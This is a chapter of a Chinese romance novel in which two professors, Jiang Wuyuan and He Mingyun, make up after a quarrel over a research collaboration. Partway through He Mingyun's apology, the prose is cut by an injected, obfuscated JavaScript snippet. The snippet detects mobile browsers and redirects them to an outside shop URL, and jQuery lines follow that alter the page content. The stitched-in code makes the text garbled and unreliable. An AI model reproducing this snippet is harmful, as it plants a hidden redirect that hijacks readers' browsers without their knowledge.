江无远的声音很温柔:“当时的社会情绪远比现在乐观,但早在那时,就已经开始流行这样的反思。今天,你们面对的是一个竞争更激烈、道德下限更低、阶层差距更大的时代,当然会更迷茫。”
“童童,其他人表现得更松弛,是因为他们已经熟悉公司里的人际交往模式,家庭背景为他们积累了一些资源和人脉,也提供了更多试错成本。他们的拥有,并不是你的匮乏。”
“你一路努力到今天,已经证明了你的能力。对自己要有信心,不管在哪里,不要觉得局促,没有那么多人会审判你。你走到哪里,哪里就应该是你的舞台。”
“松弛感源于对自身价值的确信,你就是自己的底气。你没发现吗?你在我们面前自在、舒展,不是因为你和我们关系好,而是因为你知道,我们了解你,我们知道你有多聪明、多有魅力。过一段时间,当你更熟悉职场的规则,当同事和上司开始了解你,他们也会了解你的优秀,你也会变得松弛。”
童娜面带怀疑:“真的吗?我也能在公司里谈笑风生?”
“当然,”江无远言辞恳切,“我上大学的时候,拿了校长奖学金,被邀请去校长家里吃晚饭。哇,一起去的同学都穿正装,就我傻乎乎地穿着连帽卫衣。然后吃波士顿龙虾,我都不知道怎么剥壳,用嘴硬咬,回去就长了好大一个溃疡。”
学生哈哈大笑,童娜也笑了。
在当时二十岁的小江眼里,这可是件大事,让她在宿舍辗转反侧了好多个夜晚,从自己老土的发型、比啤酒瓶底还厚的眼镜,一路内耗到课堂发言的局促、不知道什么是iPod的尴尬。
而那些少女心事,随着时光流逝,终于也变成了咖啡桌上的八卦谈资。
莎士比亚笔下的角色说,Theworldismyoyster。(注1)对于江无远来说,oyster(牡蛎)可以换成波士顿龙虾:
“其实很多事就像吃龙虾,一回生二回熟,吃个一两次,就会剥了,对不对?”
童娜肯定地点点头:“嗯!”
*****
上学期在研讨课上,贺鸣云和研究生一起读了JeffreyPfeffer的《权力:为什么只为某些人所拥有》。
这本书很有名,写得也不错,但贺鸣云并不喜欢。
他也一度觉得诧异,他自己本来就是偏实用主义的性格,为什么会嫌这本书的笔触略显冷酷?
他在学术圈混迹几年,深知圈内人不关心你的真实能力,只会根据你的成果、你的背景来评判你。
严格来说,他本人也在靠卷学术成果进行所谓的“形象管理”,把自己塑造成其他人无可指摘、偏见无法动摇的专业型人才,但他依然——
讨厌这种权力游戏。
听过江无远的轻言细语,这些天来,笼罩在他心上的阴云终于渐渐散去。
他终于肯承认,他其实害怕江老师否定他的行事风格,害怕她的鲜活衬出他的无趣,更害怕她发现,他们并不适合一起合作,他们是完全不同的人。
所以他才总是想拉住她,让她承认他的办法更好,让她……踏进他的世界。
但现在,已经没有那个必要了。
他想说其实我也是会穿着连帽卫衣去参加晚宴的人,只是为了生存,暂时换上了西装;其实我也是三十岁之后,才分得清餐桌上的香槟杯和红酒杯。
世界上并不缺少冷酷揭露现实、把游戏规则摆在台面上的学者,更不缺少熟读这套规则、在体系里如鱼得水的大人。
可在功利的世界里,在摇摇欲坠的象牙塔中,他也希望,还有一些老派的、天真的人,一些不愿意你死我活的人,一些相信童话的人,以及——
一个明白他的异样,懂得他的沉默,愿意和他一起往前走的,朋友。
*****
贺鸣云想得入了神,没管理好自己的视线,一动不动盯着江无远那桌半天,终于引起了学生的警觉。
“老师,背后有个猥琐男在盯着你。”
“脖子都伸长成长颈鹿了,偷听我们说话呢。”
“他在那里坐好久了,就点了杯咖啡,好可疑。”
“好恶心,大男人喝草莓拿铁。”
“你眼神这么这么好啊?还有,你这是性别刻板印象。”
“我瞧着尚有几分姿色,但为人实在猥琐。”
江无远眯起眼睛一看,又好气又好笑,这不是HMY0320嘛。
“别乱讲,是贺教授,估计找我有事,又不好打扰我们。”
学生才不听她解释,一听是传说中的那位贺教授,立刻开始怪声怪气起哄:
“贺~教~授~”
“贺教授,这边还有空位,快来一起坐!”
“贺教授别害羞了,来嘛。”
贺鸣云见行踪败露,摊牌不装了,走到他们桌边,严肃地说:“不好意思,打扰你们了。”
他顿了顿,飞快地看了江无远一眼,(见她完全没有挽留的意思)语气沉重地说:“再见。”
说完转身就走,徒留学生面面相觑。
“他是不是害羞了?”
“怎么这么不经逗的?”
“不是,这种情况不应该帮我们把单买了吗?”
“老师,你不是喜欢内向的吗?喏,多内向啊。”
“完了,宁拆十座庙,不毁一桩婚。”
“老师,我们同意这桩婚事,彩礼就要十篇论文一作吧。”
江无远伸手去打他们:“行了,赶紧散了,人家贺教授来跟我说课题的正事。”
等学生都散了,江无远才收拾好包包,走到咖啡屋里屋。
她一点都不急,贺鸣云这招已经不新鲜了,她知道他走路特别慢,一步三回头的,就知道死装。
果然,贺鸣云缩在里屋角落的位子,一杯东西都没点,抱着杯免费的冰水,一副离家出走的样子,窝窝囊囊的,又有点可怜。
江无远站在他三步开外,说:“你来了?”
“……我来了,”贺鸣云迟疑片刻,小声嘟囔,“因为……因为你没回我消息,也还没帮我录新的网课。”
“叽里咕噜说什么呢?大点儿声。”
贺鸣云盯着自己的皮鞋,音量还是很低。
“我说,你不回我消息,也还没帮我录网课视频。你之前说要帮我重新录的,都这么久了,我们学院都通知明天要统一给老师录网课了……”
他听到江无远笑了。
“贺教授,你能不能把头抬起来?看着我说话。”
他抬起头,江无远笑眯眯的,并没有不高兴的样子。
“贺教授,我要向你道歉。合作有分歧是正常的,我不应该冲你发火,更不应该对你不理不睬、不兑现我之前的承诺。”
贺鸣云说实话,那是相当惊讶:“啊?你先道歉吗?”
“不然要怎么样?《他凶完你,你连夜拟好离婚协议离开后,他快碎了》,我们要演这种剧情吗?”
贺鸣云老实表示:“没听懂。”
江无远猜他也听不懂,贺教授怎么可能会看短剧。
江无远总结陈词:“简而言之,我们和好吧。”
“不,好,不是,我的意思是,当然,我们和好吧,谢谢,”贺鸣云激动得站了起来,语无伦次的,“是我对不起,我应该先道歉。是我需要你的帮助,是我提出的合作,我不应该对你那么无礼。我……我只是还不习惯你做研究的方式,我只是赶时间,不是觉得你不会做课题。不,其实我只是,我非常想和你合作……”
他绝望地闭了闭眼,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093573|195550||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
试图重新组织语言。
但江无远已经不需要他再解释什么了。
她在新闻专业和自媒体领域浸淫这么久,早就明白“行胜于言”这四个字的含金量。有许多人擅长文字游戏,巧言令色。她庆幸贺鸣云不是那样的人。
“可是贺教授,我对你一直很无礼啊,我都当着你的面说你的PPT丑、说你的课很催眠,你不也从来没生过我的气吗?”
贺鸣云愣住了。
他的确不爱发火,但也着实不是会忍耐的那种人。要是换做是马远征这么批评他的课,他估计早发火了。他之前还没意识到这无心的差别待遇。
“贺教授,我说过的吧,人都有擅长和不擅长的事。我不会因为你指出我的研究方法不严谨,或者觉得我的学术能力不如你,就和你绝交的。但是我心眼儿也不大,希望你以后面刺本人之过时,能稍微措辞,最好找AI润色一下,不要太伤我的自尊心,好吗?”
“好的,当然,我明白了,”贺鸣云紧张地咽了口口水,“我们学校有买AI账户吗?”
“早就给你下好了,”江无远伸出手,“那我们扯平了。以后我们不要吵架,有不同的想法好好交流,好不好?”
贺鸣云紧紧握住她的手:“好,特别好。那我的网课……”
“明天早上九点来我家,穿帅点。我要吃麦满分和新品玫瑰拿铁,冰的。”
“明白,”贺鸣云松了口气,趁热打铁递出橄榄枝,“那我,现在先请你喝一杯?”
“我刚刚才喝了两杯……”
贺鸣云有些失望:“哦……”
他看起来好可怜。
江无远说:“那你请我吃晚饭?好久没吃这里的波奇饭了,你想尝尝吗?”
贺鸣云又开心了,拉了把凳子过来,示意江无远挨着他坐下。
“你平时经常和学生在这里聊天吗?”
江无远也没意识到其他桌的座位都是面对面的,只有她和贺鸣云紧紧挨在一起,她已经习惯贺教授跟个挂件似的挂在她身边了。
“每个月一两次吧,学生有很多困惑,大学里没什么人能够指导。我能提供的帮助不多,也就是陪他们聊聊天。”
贺鸣云由衷地说:“不,你……做得很好。”
他费尽心思建构理论的所谓“社会”,是由无数具体的、困惑的、渴望被照亮的个体组成的。他此前忽视的这部分,她一直在给予聆听和回应。
他潜心研究的,是社会运行的骨骼,他一直相信坚固的、科学的、不会轻易改变的东西;而她关心的,是骨骼之下流淌着的新鲜血液。他差点忘记了,血液输送氧气,会带来全新的气象和活力。两者无关高下,本就是一体。
因研究方法分歧而产生的焦躁和困惑烟消云散,取而代之的,是好奇,尊重,期待,以及,想要靠近那种温暖的渴望。
“贺教授越来越会拍马屁了嘛。”
“没有拍,都是肺腑之言。我很高兴和你合作,江老师。”
“好吧,”江无远拿起杯子,轻轻碰了下贺鸣云手边的水杯,“这次我收到了。合作愉快,贺教授。”
“合作愉快,江老师。”
太阳落下地平线,咖啡厅亮起了灯,背景音乐的音量被调高,是泰勒·斯威夫特的一首老歌:
Twoisbetterthanone.
注1:出自莎士比亚《TheMerryWivesofWindsor》,里面一个角色说“Whythentheworld''smineoyster/WhichIwithswordwillopen.(这个世界是我的牡蛎,我用刀就可以把它撬开。)”后来“Theworldismyoyster”的意思就变成了:世界是我的舞台,我随心所欲,心想事成。